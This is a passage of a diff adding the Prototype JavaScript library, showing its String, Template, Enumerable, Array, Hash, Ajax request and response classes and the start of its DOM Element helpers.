+      var character = String.specialChar[match[0]];
+      return character ? character : '\\u00' + match[0].charCodeAt().toPaddedString(2, 16);
+    });
+    if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
+    return "'" + escapedString.replace(/'/g, '\\\'') + "'";
+  },
+
+  toJSON: function() {
+    return this.inspect(true);
+  },
+
+  unfilterJSON: function(filter) {
+    return this.sub(filter || Prototype.JSONFilter, '#{1}');
+  },
+
+  isJSON: function() {
+    var str = this.replace(/\\./g, '@').replace(/"[^"\\\n\r]*"/g, '');
+    return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
+  },
+
+  evalJSON: function(sanitize) {
+    var json = this.unfilterJSON();
+    try {
+      if (!sanitize || json.isJSON()) return eval('(' + json + ')');
+    } catch (e) { }
+    throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
+  },
+
+  include: function(pattern) {
+    return this.indexOf(pattern) > -1;
+  },
+
+  startsWith: function(pattern) {
+    return this.indexOf(pattern) === 0;
+  },
+
+  endsWith: function(pattern) {
+    var d = this.length - pattern.length;
+    return d >= 0 && this.lastIndexOf(pattern) === d;
+  },
+
+  empty: function() {
+    return this == '';
+  },
+
+  blank: function() {
+    return /^\s*$/.test(this);
+  },
+
+  interpolate: function(object, pattern) {
+    return new Template(this, pattern).evaluate(object);
+  }
+});
+
+if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
+  escapeHTML: function() {
+    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
+  },
+  unescapeHTML: function() {
+    return this.replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
+  }
+});
+
+String.prototype.gsub.prepareReplacement = function(replacement) {
+  if (Object.isFunction(replacement)) return replacement;
+  var template = new Template(replacement);
+  return function(match) { return template.evaluate(match) };
+};
+
+String.prototype.parseQuery = String.prototype.toQueryParams;
+
+Object.extend(String.prototype.escapeHTML, {
+  div:  document.createElement('div'),
+  text: document.createTextNode('')
+});
+
+with (String.prototype.escapeHTML) div.appendChild(text);
+
+var Template = Class.create({
+  initialize: function(template, pattern) {
+    this.template = template.toString();
+    this.pattern = pattern || Template.Pattern;
+  },
+
+  evaluate: function(object) {
+    if (Object.isFunction(object.toTemplateReplacements))
+      object = object.toTemplateReplacements();
+
+    return this.template.gsub(this.pattern, function(match) {
+      if (object == null) return '';
+
+      var before = match[1] || '';
+      if (before == '\\') return match[2];
+
+      var ctx = object, expr = match[3];
+      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/, match = pattern.exec(expr);
+      if (match == null) return before;
+
+      while (match != null) {
+        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
+        ctx = ctx[comp];
+        if (null == ctx || '' == match[3]) break;
+        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
+        match = pattern.exec(expr);
+      }
+
+      return before + String.interpret(ctx);
+    }.bind(this));
+  }
+});
+Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
+
+var $break = { };
+
+var Enumerable = {
+  each: function(iterator, context) {
+    var index = 0;
+    iterator = iterator.bind(context);
+    try {
+      this._each(function(value) {
+        iterator(value, index++);
+      });
+    } catch (e) {
+      if (e != $break) throw e;
+    }
+    return this;
+  },
+
+  eachSlice: function(number, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var index = -number, slices = [], array = this.toArray();
+    while ((index += number) < array.length)
+      slices.push(array.slice(index, index+number));
+    return slices.collect(iterator, context);
+  },
+
+  all: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = true;
+    this.each(function(value, index) {
+      result = result && !!iterator(value, index);
+      if (!result) throw $break;
+    });
+    return result;
+  },
+
+  any: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = false;
+    this.each(function(value, index) {
+      if (result = !!iterator(value, index))
+        throw $break;
+    });
+    return result;
+  },
+
+  collect: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+    this.each(function(value, index) {
+      results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  detect: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var result;
+    this.each(function(value, index) {
+      if (iterator(value, index)) {
+        result = value;
+        throw $break;
+      }
+    });
+    return result;
+  },
+
+  findAll: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  grep: function(filter, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+
+    if (Object.isString(filter))
+      filter = new RegExp(filter);
+
+    this.each(function(value, index) {
+      if (filter.match(value))
+        results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  include: function(object) {
+    if (Object.isFunction(this.indexOf))
+      if (this.indexOf(object) != -1) return true;
+
+    var found = false;
+    this.each(function(value) {
+      if (value == object) {
+        found = true;
+        throw $break;
+      }
+    });
+    return found;
+  },
+
+  inGroupsOf: function(number, fillWith) {
+    fillWith = fillWith === undefined ? null : fillWith;
+    return this.eachSlice(number, function(slice) {
+      while(slice.length < number) slice.push(fillWith);
+      return slice;
+    });
+  },
+
+  inject: function(memo, iterator, context) {
+    iterator = iterator.bind(context);
+    this.each(function(value, index) {
+      memo = iterator(memo, value, index);
+    });
+    return memo;
+  },
+
+  invoke: function(method) {
+    var args = $A(arguments).slice(1);
+    return this.map(function(value) {
+      return value[method].apply(value, args);
+    });
+  },
+
+  max: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == undefined || value >= result)
+        result = value;
+    });
+    return result;
+  },
+
+  min: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == undefined || value < result)
+        result = value;
+    });
+    return result;
+  },
+
+  partition: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var trues = [], falses = [];
+    this.each(function(value, index) {
+      (iterator(value, index) ?
+        trues : falses).push(value);
+    });
+    return [trues, falses];
+  },
+
+  pluck: function(property) {
+    var results = [];
+    this.each(function(value) {
+      results.push(value[property]);
+    });
+    return results;
+  },
+
+  reject: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (!iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  sortBy: function(iterator, context) {
+    iterator = iterator.bind(context);
+    return this.map(function(value, index) {
+      return {value: value, criteria: iterator(value, index)};
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }).pluck('value');
+  },
+
+  toArray: function() {
+    return this.map();
+  },
+
+  zip: function() {
+    var iterator = Prototype.K, args = $A(arguments);
+    if (Object.isFunction(args.last()))
+      iterator = args.pop();
+
+    var collections = [this].concat(args).map($A);
+    return this.map(function(value, index) {
+      return iterator(collections.pluck(index));
+    });
+  },
+
+  size: function() {
+    return this.toArray().length;
+  },
+
+  inspect: function() {
+    return '#<Enumerable:' + this.toArray().inspect() + '>';
+  }
+};
+
+Object.extend(Enumerable, {
+  map:     Enumerable.collect,
+  find:    Enumerable.detect,
+  select:  Enumerable.findAll,
+  filter:  Enumerable.findAll,
+  member:  Enumerable.include,
+  entries: Enumerable.toArray,
+  every:   Enumerable.all,
+  some:    Enumerable.any
+});
+function $A(iterable) {
+  if (!iterable) return [];
+  if (iterable.toArray) return iterable.toArray();
+  var length = iterable.length, results = new Array(length);
+  while (length--) results[length] = iterable[length];
+  return results;
+}
+
+if (Prototype.Browser.WebKit) {
+  function $A(iterable) {
+    if (!iterable) return [];
+    if (!(Object.isFunction(iterable) && iterable == '[object NodeList]') &&
+        iterable.toArray) return iterable.toArray();
+    var length = iterable.length, results = new Array(length);
+    while (length--) results[length] = iterable[length];
+    return results;
+  }
+}
+
+Array.from = $A;
+
+Object.extend(Array.prototype, Enumerable);
+
+if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
+
+Object.extend(Array.prototype, {
+  _each: function(iterator) {
+    for (var i = 0, length = this.length; i < length; i++)
+      iterator(this[i]);
+  },
+
+  clear: function() {
+    this.length = 0;
+    return this;
+  },
+
+  first: function() {
+    return this[0];
+  },
+
+  last: function() {
+    return this[this.length - 1];
+  },
+
+  compact: function() {
+    return this.select(function(value) {
+      return value != null;
+    });
+  },
+
+  flatten: function() {
+    return this.inject([], function(array, value) {
+      return array.concat(Object.isArray(value) ?
+        value.flatten() : [value]);
+    });
+  },
+
+  without: function() {
+    var values = $A(arguments);
+    return this.select(function(value) {
+      return !values.include(value);
+    });
+  },
+
+  reverse: function(inline) {
+    return (inline !== false ? this : this.toArray())._reverse();
+  },
+
+  reduce: function() {
+    return this.length > 1 ? this : this[0];
+  },
+
+  uniq: function(sorted) {
+    return this.inject([], function(array, value, index) {
+      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
+        array.push(value);
+      return array;
+    });
+  },
+
+  intersect: function(array) {
+    return this.uniq().findAll(function(item) {
+      return array.detect(function(value) { return item === value });
+    });
+  },
+
+  clone: function() {
+    return [].concat(this);
+  },
+
+  size: function() {
+    return this.length;
+  },
+
+  inspect: function() {
+    return '[' + this.map(Object.inspect).join(', ') + ']';
+  },
+
+  toJSON: function() {
+    var results = [];
+    this.each(function(object) {
+      var value = Object.toJSON(object);
+      if (value !== undefined) results.push(value);
+    });
+    return '[' + results.join(', ') + ']';
+  }
+});
+
+// use native browser JS 1.6 implementation if available
+if (Object.isFunction(Array.prototype.forEach))
+  Array.prototype._each = Array.prototype.forEach;
+
+if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
+  i || (i = 0);
+  var length = this.length;
+  if (i < 0) i = length + i;
+  for (; i < length; i++)
+    if (this[i] === item) return i;
+  return -1;
+};
+
+if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
+  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
+  var n = this.slice(0, i).reverse().indexOf(item);
+  return (n < 0) ? n : i - n - 1;
+};
+
+Array.prototype.toArray = Array.prototype.clone;
+
+function $w(string) {
+  if (!Object.isString(string)) return [];
+  string = string.strip();
+  return string ? string.split(/\s+/) : [];
+}
+
+if (Prototype.Browser.Opera){
+  Array.prototype.concat = function() {
+    var array = [];
+    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      if (Object.isArray(arguments[i])) {
+        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
+          array.push(arguments[i][j]);
+      } else {
+        array.push(arguments[i]);
+      }
+    }
+    return array;
+  };
+}
+Object.extend(Number.prototype, {
+  toColorPart: function() {
+    return this.toPaddedString(2, 16);
+  },
+
+  succ: function() {
+    return this + 1;
+  },
+
+  times: function(iterator) {
+    $R(0, this, true).each(iterator);
+    return this;
+  },
+
+  toPaddedString: function(length, radix) {
+    var string = this.toString(radix || 10);
+    return '0'.times(length - string.length) + string;
+  },
+
+  toJSON: function() {
+    return isFinite(this) ? this.toString() : 'null';
+  }
+});
+
+$w('abs round ceil floor').each(function(method){
+  Number.prototype[method] = Math[method].methodize();
+});
+function $H(object) {
+  return new Hash(object);
+};
+
+var Hash = Class.create(Enumerable, (function() {
+  if (function() {
+    var i = 0, Test = function(value) { this.key = value };
+    Test.prototype.key = 'foo';
+    for (var property in new Test('bar')) i++;
+    return i > 1;
+  }()) {
+    function each(iterator) {
+      var cache = [];
+      for (var key in this._object) {
+        var value = this._object[key];
+        if (cache.include(key)) continue;
+        cache.push(key);
+        var pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  } else {
+    function each(iterator) {
+      for (var key in this._object) {
+        var value = this._object[key], pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  }
+
+  function toQueryPair(key, value) {
+    if (Object.isUndefined(value)) return key;
+    return key + '=' + encodeURIComponent(String.interpret(value));
+  }
+
+  return {
+    initialize: function(object) {
+      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
+    },
+
+    _each: each,
+
+    set: function(key, value) {
+      return this._object[key] = value;
+    },
+
+    get: function(key) {
+      return this._object[key];
+    },
+
+    unset: function(key) {
+      var value = this._object[key];
+      delete this._object[key];
+      return value;
+    },
+
+    toObject: function() {
+      return Object.clone(this._object);
+    },
+
+    keys: function() {
+      return this.pluck('key');
+    },
+
+    values: function() {
+      return this.pluck('value');
+    },
+
+    index: function(value) {
+      var match = this.detect(function(pair) {
+        return pair.value === value;
+      });
+      return match && match.key;
+    },
+
+    merge: function(object) {
+      return this.clone().update(object);
+    },
+
+    update: function(object) {
+      return new Hash(object).inject(this, function(result, pair) {
+        result.set(pair.key, pair.value);
+        return result;
+      });
+    },
+
+    toQueryString: function() {
+      return this.map(function(pair) {
+        var key = encodeURIComponent(pair.key), values = pair.value;
+
+        if (values && typeof values == 'object') {
+          if (Object.isArray(values))
+            return values.map(toQueryPair.curry(key)).join('&');
+        }
+        return toQueryPair(key, values);
+      }).join('&');
+    },
+
+    inspect: function() {
+      return '#<Hash:{' + this.map(function(pair) {
+        return pair.map(Object.inspect).join(': ');
+      }).join(', ') + '}>';
+    },
+
+    toJSON: function() {
+      return Object.toJSON(this.toObject());
+    },
+
+    clone: function() {
+      return new Hash(this);
+    }
+  }
+})());
+
+Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
+Hash.from = $H;
+var ObjectRange = Class.create(Enumerable, {
+  initialize: function(start, end, exclusive) {
+    this.start = start;
+    this.end = end;
+    this.exclusive = exclusive;
+  },
+
+  _each: function(iterator) {
+    var value = this.start;
+    while (this.include(value)) {
+      iterator(value);
+      value = value.succ();
+    }
+  },
+
+  include: function(value) {
+    if (value < this.start)
+      return false;
+    if (this.exclusive)
+      return value < this.end;
+    return value <= this.end;
+  }
+});
+
+var $R = function(start, end, exclusive) {
+  return new ObjectRange(start, end, exclusive);
+};
+
+var Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new XMLHttpRequest()},
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
+    ) || false;
+  },
+
+  activeRequestCount: 0
+};
+
+Ajax.Responders = {
+  responders: [],
+
+  _each: function(iterator) {
+    this.responders._each(iterator);
+  },
+
+  register: function(responder) {
+    if (!this.include(responder))
+      this.responders.push(responder);
+  },
+
+  unregister: function(responder) {
+    this.responders = this.responders.without(responder);
+  },
+
+  dispatch: function(callback, request, transport, json) {
+    this.each(function(responder) {
+      if (Object.isFunction(responder[callback])) {
+        try {
+          responder[callback].apply(responder, [request, transport, json]);
+        } catch (e) { }
+      }
+    });
+  }
+};
+
+Object.extend(Ajax.Responders, Enumerable);
+
+Ajax.Responders.register({
+  onCreate:   function() { Ajax.activeRequestCount++ },
+  onComplete: function() { Ajax.activeRequestCount-- }
+});
+
+Ajax.Base = Class.create({
+  initialize: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      contentType:  'application/x-www-form-urlencoded',
+      encoding:     'UTF-8',
+      parameters:   '',
+      evalJSON:     true,
+      evalJS:       true
+    };
+    Object.extend(this.options, options || { });
+
+    this.options.method = this.options.method.toLowerCase();
+    if (Object.isString(this.options.parameters))
+      this.options.parameters = this.options.parameters.toQueryParams();
+  }
+});
+
+Ajax.Request = Class.create(Ajax.Base, {
+  _complete: false,
+
+  initialize: function($super, url, options) {
+    $super(options);
+    this.transport = Ajax.getTransport();
+    this.request(url);
+  },
+
+  request: function(url) {
+    this.url = url;
+    this.method = this.options.method;
+    var params = Object.clone(this.options.parameters);
+
+    if (!['get', 'post'].include(this.method)) {
+      // simulate other verbs over post
+      params['_method'] = this.method;
+      this.method = 'post';
+    }
+
+    this.parameters = params;
+
+    if (params = Object.toQueryString(params)) {
+      // when GET, append parameters to URL
+      if (this.method == 'get')
+        this.url += (this.url.include('?') ? '&' : '?') + params;
+      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
+        params += '&_=';
+    }
+
+    try {
+      var response = new Ajax.Response(this);
+      if (this.options.onCreate) this.options.onCreate(response);
+      Ajax.Responders.dispatch('onCreate', this, response);
+
+      this.transport.open(this.method.toUpperCase(), this.url,
+        this.options.asynchronous);
+
+      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
+
+      this.transport.onreadystatechange = this.onStateChange.bind(this);
+      this.setRequestHeaders();
+
+      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
+      this.transport.send(this.body);
+
+      /* Force Firefox to handle ready state 4 for synchronous requests */
+      if (!this.options.asynchronous && this.transport.overrideMimeType)
+        this.onStateChange();
+
+    }
+    catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState > 1 && !((readyState == 4) && this._complete))
+      this.respondToReadyState(this.transport.readyState);
+  },
+
+  setRequestHeaders: function() {
+    var headers = {
+      'X-Requested-With': 'XMLHttpRequest',
+      'X-Prototype-Version': Prototype.Version,
+      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
+    };
+
+    if (this.method == 'post') {
+      headers['Content-type'] = this.options.contentType +
+        (this.options.encoding ? '; charset=' + this.options.encoding : '');
+
+      /* Force "Connection: close" for older Mozilla browsers to work
+       * around a bug where XMLHttpRequest sends an incorrect
+       * Content-length header. See Mozilla Bugzilla #246651.
+       */
+      if (this.transport.overrideMimeType &&
+          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
+            headers['Connection'] = 'close';
+    }
+
+    // user-defined headers
+    if (typeof this.options.requestHeaders == 'object') {
+      var extras = this.options.requestHeaders;
+
+      if (Object.isFunction(extras.push))
+        for (var i = 0, length = extras.length; i < length; i += 2)
+          headers[extras[i]] = extras[i+1];
+      else
+        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
+    }
+
+    for (var name in headers)
+      this.transport.setRequestHeader(name, headers[name]);
+  },
+
+  success: function() {
+    var status = this.getStatus();
+    return !status || (status >= 200 && status < 300);
+  },
+
+  getStatus: function() {
+    try {
+      return this.transport.status || 0;
+    } catch (e) { return 0 }
+  },
+
+  respondToReadyState: function(readyState) {
+    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
+
+    if (state == 'Complete') {
+      try {
+        this._complete = true;
+        (this.options['on' + response.status]
+         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
+         || Prototype.emptyFunction)(response, response.headerJSON);
+      } catch (e) {
+        this.dispatchException(e);
+      }
+
+      var contentType = response.getHeader('Content-type');
+      if (this.options.evalJS == 'force'
+          || (this.options.evalJS && contentType
+          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
+        this.evalResponse();
+    }
+
+    try {
+      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
+      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
+    } catch (e) {
+      this.dispatchException(e);
+    }
+
+    if (state == 'Complete') {
+      // avoid memory leak in MSIE: clean up
+      this.transport.onreadystatechange = Prototype.emptyFunction;
+    }
+  },
+
+  getHeader: function(name) {
+    try {
+      return this.transport.getResponseHeader(name);
+    } catch (e) { return null }
+  },
+
+  evalResponse: function() {
+    try {
+      return eval((this.transport.responseText || '').unfilterJSON());
+    } catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  dispatchException: function(exception) {
+    (this.options.onException || Prototype.emptyFunction)(this, exception);
+    Ajax.Responders.dispatch('onException', this, exception);
+  }
+});
+
+Ajax.Request.Events =
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Response = Class.create({
+  initialize: function(request){
+    this.request = request;
+    var transport  = this.transport  = request.transport,
+        readyState = this.readyState = transport.readyState;
+
+    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
+      this.status       = this.getStatus();
+      this.statusText   = this.getStatusText();
+      this.responseText = String.interpret(transport.responseText);
+      this.headerJSON   = this._getHeaderJSON();
+    }
+
+    if(readyState == 4) {
+      var xml = transport.responseXML;
+      this.responseXML  = xml === undefined ? null : xml;
+      this.responseJSON = this._getResponseJSON();
+    }
+  },
+
+  status:      0,
+  statusText: '',
+
+  getStatus: Ajax.Request.prototype.getStatus,
+
+  getStatusText: function() {
+    try {
+      return this.transport.statusText || '';
+    } catch (e) { return '' }
+  },
+
+  getHeader: Ajax.Request.prototype.getHeader,
+
+  getAllHeaders: function() {
+    try {
+      return this.getAllResponseHeaders();
+    } catch (e) { return null }
+  },
+
+  getResponseHeader: function(name) {
+    return this.transport.getResponseHeader(name);
+  },
+
+  getAllResponseHeaders: function() {
+    return this.transport.getAllResponseHeaders();
+  },
+
+  _getHeaderJSON: function() {
+    var json = this.getHeader('X-JSON');
+    if (!json) return null;
+    json = decodeURIComponent(escape(json));
+    try {
+      return json.evalJSON(this.request.options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  },
+
+  _getResponseJSON: function() {
+    var options = this.request.options;
+    if (!options.evalJSON || (options.evalJSON != 'force' &&
+      !(this.getHeader('Content-type') || '').include('application/json')))
+        return null;
+    try {
+      return this.transport.responseText.evalJSON(options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  }
+});
+
+Ajax.Updater = Class.create(Ajax.Request, {
+  initialize: function($super, container, url, options) {
+    this.container = {
+      success: (container.success || container),
+      failure: (container.failure || (container.success ? null : container))
+    };
+
+    options = options || { };
+    var onComplete = options.onComplete;
+    options.onComplete = (function(response, param) {
+      this.updateContent(response.responseText);
+      if (Object.isFunction(onComplete)) onComplete(response, param);
+    }).bind(this);
+
+    $super(url, options);
+  },
+
+  updateContent: function(responseText) {
+    var receiver = this.container[this.success() ? 'success' : 'failure'],
+        options = this.options;
+
+    if (!options.evalScripts) responseText = responseText.stripScripts();
+
+    if (receiver = $(receiver)) {
+      if (options.insertion) {
+        if (Object.isString(options.insertion)) {
+          var insertion = { }; insertion[options.insertion] = responseText;
+          receiver.insert(insertion);
+        }
+        else options.insertion(receiver, responseText);
+      }
+      else receiver.update(responseText);
+    }
+
+    if (this.success()) {
+      if (this.onComplete) this.onComplete.bind(this).defer();
+    }
+  }
+});
+
+Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
+  initialize: function($super, container, url, options) {
+    $super(options);
+    this.onComplete = this.options.onComplete;
+
+    this.frequency = (this.options.frequency || 2);
+    this.decay = (this.options.decay || 1);
+
+    this.updater = { };
+    this.container = container;
+    this.url = url;
+
+    this.start();
+  },
+
+  start: function() {
+    this.options.onComplete = this.updateComplete.bind(this);
+    this.onTimerEvent();
+  },
+
+  stop: function() {
+    this.updater.options.onComplete = undefined;
+    clearTimeout(this.timer);
+    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
+  },
+
+  updateComplete: function(response) {
+    if (this.options.decay) {
+      this.decay = (response.responseText == this.lastText ?
+        this.decay * this.options.decay : 1);
+
+      this.lastText = response.responseText;
+    }
+    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
+  },
+
+  onTimerEvent: function() {
+    this.updater = new Ajax.Updater(this.container, this.url, this.options);
+  }
+});
+function $(element) {
+  if (arguments.length > 1) {
+    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
+      elements.push($(arguments[i]));
+    return elements;
+  }
+  if (Object.isString(element))
+    element = document.getElementById(element);
+  return Element.extend(element);
+}
+
+if (Prototype.BrowserFeatures.XPath) {
+  document._getElementsByXPath = function(expression, parentElement) {
+    var results = [];
+    var query = document.evaluate(expression, $(parentElement) || document,
+      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+    for (var i = 0, length = query.snapshotLength; i < length; i++)
+      results.push(Element.extend(query.snapshotItem(i)));
+    return results;
+  };
+}
+
+/*--------------------------------------------------------------------------*/
+
+if (!window.Node) var Node = { };
+
+if (!Node.ELEMENT_NODE) {
+  // DOM level 2 ECMAScript Language Binding
+  Object.extend(Node, {
+    ELEMENT_NODE: 1,
+    ATTRIBUTE_NODE: 2,
+    TEXT_NODE: 3,
+    CDATA_SECTION_NODE: 4,
+    ENTITY_REFERENCE_NODE: 5,
+    ENTITY_NODE: 6,
+    PROCESSING_INSTRUCTION_NODE: 7,
+    COMMENT_NODE: 8,
+    DOCUMENT_NODE: 9,
+    DOCUMENT_TYPE_NODE: 10,
+    DOCUMENT_FRAGMENT_NODE: 11,
+    NOTATION_NODE: 12
+  });
+}
+
+(function() {
+  var element = this.Element;
+  this.Element = function(tagName, attributes) {
+    attributes = attributes || { };
+    tagName = tagName.toLowerCase();
+    var cache = Element.cache;
+    if (Prototype.Browser.IE && attributes.name) {
+      tagName = '<' + tagName + ' name="' + attributes.name + '">';
+      delete attributes.name;
+      return Element.writeAttribute(document.createElement(tagName), attributes);
+    }
+    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
+    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
+  };
+  Object.extend(this.Element, element || { });
+}).call(window);
+
+Element.cache = { };
+
+Element.Methods = {
+  visible: function(element) {
+    return $(element).style.display != 'none';
+  },
+
+  toggle: function(element) {
+    element = $(element);
+    Element[Element.visible(element) ? 'hide' : 'show'](element);
+    return element;
+  },
+
+  hide: function(element) {
+    $(element).style.display = 'none';
+    return element;
+  },
+
+  show: function(element) {
+    $(element).style.display = '';
+    return element;
+  },
+
+  remove: function(element) {
+    element = $(element);
+    element.parentNode.removeChild(element);
+    return element;
+  },
+
+  update: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+    content = Object.toHTML(content);
+    element.innerHTML = content.stripScripts();
+    content.evalScripts.bind(content).defer();
+    return element;
+  },
+
+  replace: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    else if (!Object.isElement(content)) {
+      content = Object.toHTML(content);
+      var range = element.ownerDocument.createRange();
+      range.selectNode(element);
+      content.evalScripts.bind(content).defer();
+      content = range.createContextualFragment(content.stripScripts());
+    }
+    element.parentNode.replaceChild(content, element);
+    return element;
+  },
+
+  insert: function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = {bottom:insertions};
+
+    var content, t, range;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      t = Element._insertionTranslations[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        t.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+
+      range = element.ownerDocument.createRange();
+      t.initializeRange(element, range);
+      t.insert(element, range.createContextualFragment(content.stripScripts()));
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  },
+
+  wrap: function(element, wrapper, attributes) {
+    element = $(element);
+    if (Object.isElement(wrapper))
+      $(wrapper).writeAttribute(attributes || { });
+    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
+    else wrapper = new Element('div', wrapper);
+    if (element.parentNode)
+      element.parentNode.replaceChild(wrapper, element);
+    wrapper.appendChild(element);
+    return wrapper;
+  },
+
+  inspect: function(element) {
+    element = $(element);
+    var result = '<' + element.tagName.toLowerCase();
+    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
+      var property = pair.first(), attribute = pair.last();
+      var value = (element[property] || '').toString();
+      if (value) result += ' ' + attribute + '=' + value.inspect(true);
+    });
+    return result + '>';
+  },
+
+  recursivelyCollect: function(element, property) {
+    element = $(element);
+    var elements = [];
+    while (element = element[property])
+      if (element.nodeType == 1)
+        elements.push(Element.extend(element));
+    return elements;
+  },
+
+  ancestors: function(element) {
+    return $(element).recursivelyCollect('parentNode');
+  },
+
+  descendants: function(element) {
+    return $A($(element).getElementsByTagName('*')).each(Element.extend);
+  },
+
+  firstDescendant: function(element) {
+    element = $(element).firstChild;
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    return $(element);
+  },
+
+  immediateDescendants: function(element) {
+    if (!(element = $(element).firstChild)) return [];
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    if (element) return [element].concat($(element).nextSiblings());
+    return [];
+  },
+
+  previousSiblings: function(element) {
+    return $(element).recursivelyCollect('previousSibling');
+  },
+
+  nextSiblings: function(element) {
+    return $(element).recursivelyCollect('nextSibling');
+  },
+
+  siblings: function(element) {
+    element = $(element);
+    return element.previousSiblings().reverse().concat(element.nextSiblings());
+  },
+
+  match: function(element, selector) {
+    if (Object.isString(selector))
+      selector = new Selector(selector);
+    return selector.match($(element));
+  },
+
+  up: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(element.parentNode);
+    var ancestors = element.ancestors();
+    return expression ? Selector.findElement(ancestors, expression, index) :
+      ancestors[index || 0];
+  },
+
+  down: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return element.firstDescendant();
+    var descendants = element.descendants();
+    return expression ? Selector.findElement(descendants, expression, index) :
+      descendants[index || 0];
+  },
+
+  previous: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
+    var previousSiblings = element.previousSiblings();
+    return expression ? Selector.findElement(previousSiblings, expression, index) :
+      previousSiblings[index || 0];
+  },
+
+  next: function(element, expression, index) {
